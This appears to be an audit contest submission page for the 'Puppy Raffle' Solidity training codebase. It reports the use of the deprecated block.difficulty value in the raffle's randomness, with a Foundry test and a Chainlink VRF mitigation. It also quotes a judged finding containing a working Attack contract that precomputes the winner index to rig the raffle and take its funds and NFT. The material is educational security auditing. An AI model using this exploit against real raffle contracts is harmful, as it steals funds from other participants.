Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

[L-3] Use of Deprecated block.difficulty After The Merge

[L-3] Use of Deprecated block.difficulty After The Merge

Title: Use of Deprecated block.difficulty After The Merge

Impact: Low

Likelihood: High

Description

  • The selectWinner function uses block.difficulty as an input to the keccak256 hash for randomness generation. On proof-of-work Ethereum, block.difficulty varied unpredictably and added entropy to on-chain random number generation.

  • Following the Ethereum Merge (transition from proof-of-work to proof-of-stake via EIP-4399), block.difficulty was deprecated and replaced by prevrandao (previously known as random). The block.difficulty value now returns a constant derived from the parent beacon chain randomness and is no longer miner-controllable, but it also no longer provides the same entropy characteristics it once did. More critically, the Solidity compiler version used here (0.7.6) predates the Merge and has no awareness of prevrandao, meaning the randomness input is fundamentally outdated and provides weaker guarantees than intended.

uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // @> block.difficulty is deprecated post-Merge (EIP-4399)
+ // @> Should use block.prevrandao for post-Merge randomness
uint256 rarity =
- uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // @> Same deprecated input used for rarity

Risk

Likelihood:

  • Since the Merge on September 15, 2022, every block on Ethereum mainnet is proof-of-stake. Any deployment of this contract to mainnet will use the deprecated block.difficulty value, which no longer behaves as the original developers intended.

  • The contract targets Ethereum deployment (as stated in the audit scope: "Chain(s) to deploy contract to: Ethereum"), meaning this issue is not hypothetical — it will affect every production deployment.

Impact:

  • The randomness quality is further degraded beyond what was described in Finding [H-2]. While block.difficulty is no longer miner-manipulable post-Merge, it is also no longer a strong entropy source. It is derived from the beacon chain's RANDAO value, which has known limitations including potential predictability by sophisticated actors with knowledge of beacon chain validator behavior.

  • This finding compounds the weak randomness issue in [H-2]. Even if the other randomness inputs were fixed, the continued use of block.difficulty means the random number generation is using an obsolete, deprecated opcode that modern Solidity versions and security tools flag as a warning.

Proof of Concept

function testBlockDifficultyDeprecated() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
// On post-Merge Ethereum, block.difficulty is derived from
// beacon chain randomness, not proof-of-work mining
// It no longer provides the unpredictable entropy the
// original design assumed
uint256 difficulty = block.difficulty;
// Post-Merge: difficulty is a function of parent RANDAO
// This is weaker than pre-Merge PoW difficulty
// The hash seed is now less diverse than intended
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(
msg.sender,
block.timestamp,
difficulty
))
) % players.length;
// Modern Foundry/Slither will emit warnings:
// Warning: "block.difficulty" has been deprecated in favor of "prevrandao"
}

This PoC demonstrates that block.difficulty no longer provides the proof-of-work entropy the contract was designed to use. On post-Merge Ethereum, block.difficulty is a derived value from the beacon chain, not an independently unpredictable mining output. Static analysis tools like Slither emit deprecation warnings when block.difficulty is used in Solidity versions that predate the Merge. The key issue is that the contract's randomness model was designed for a proof-of-work world that no longer exists, and the inputs available post-Merge have fundamentally different entropy properties.

Recommended Mitigation

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Migrate to a newer Solidity version and use Chainlink VRF
+ // This single fix addresses both the deprecation and weak randomness
+ // See Finding [H-2] for the full Chainlink VRF integration
// ...
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // Also use VRF randomness for rarity determination
}

The recommended mitigation is to migrate the contract to Solidity 0.8.x and integrate Chainlink VRF v2, which provides cryptographically provable, unbiased randomness on-chain. This single change addresses both this finding and the critical weak randomness issue documented in Finding [H-2]. If an immediate migration to Chainlink VRF is not feasible, the minimum fix is to upgrade to Solidity 0.8.x and replace block.difficulty with block.prevrandao, which is the post-Merge equivalent. However, prevrandao alone does not solve the fundamental predictability problem — only a verifiable randomness solution like Chainlink VRF provides true on-chain unpredictability.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!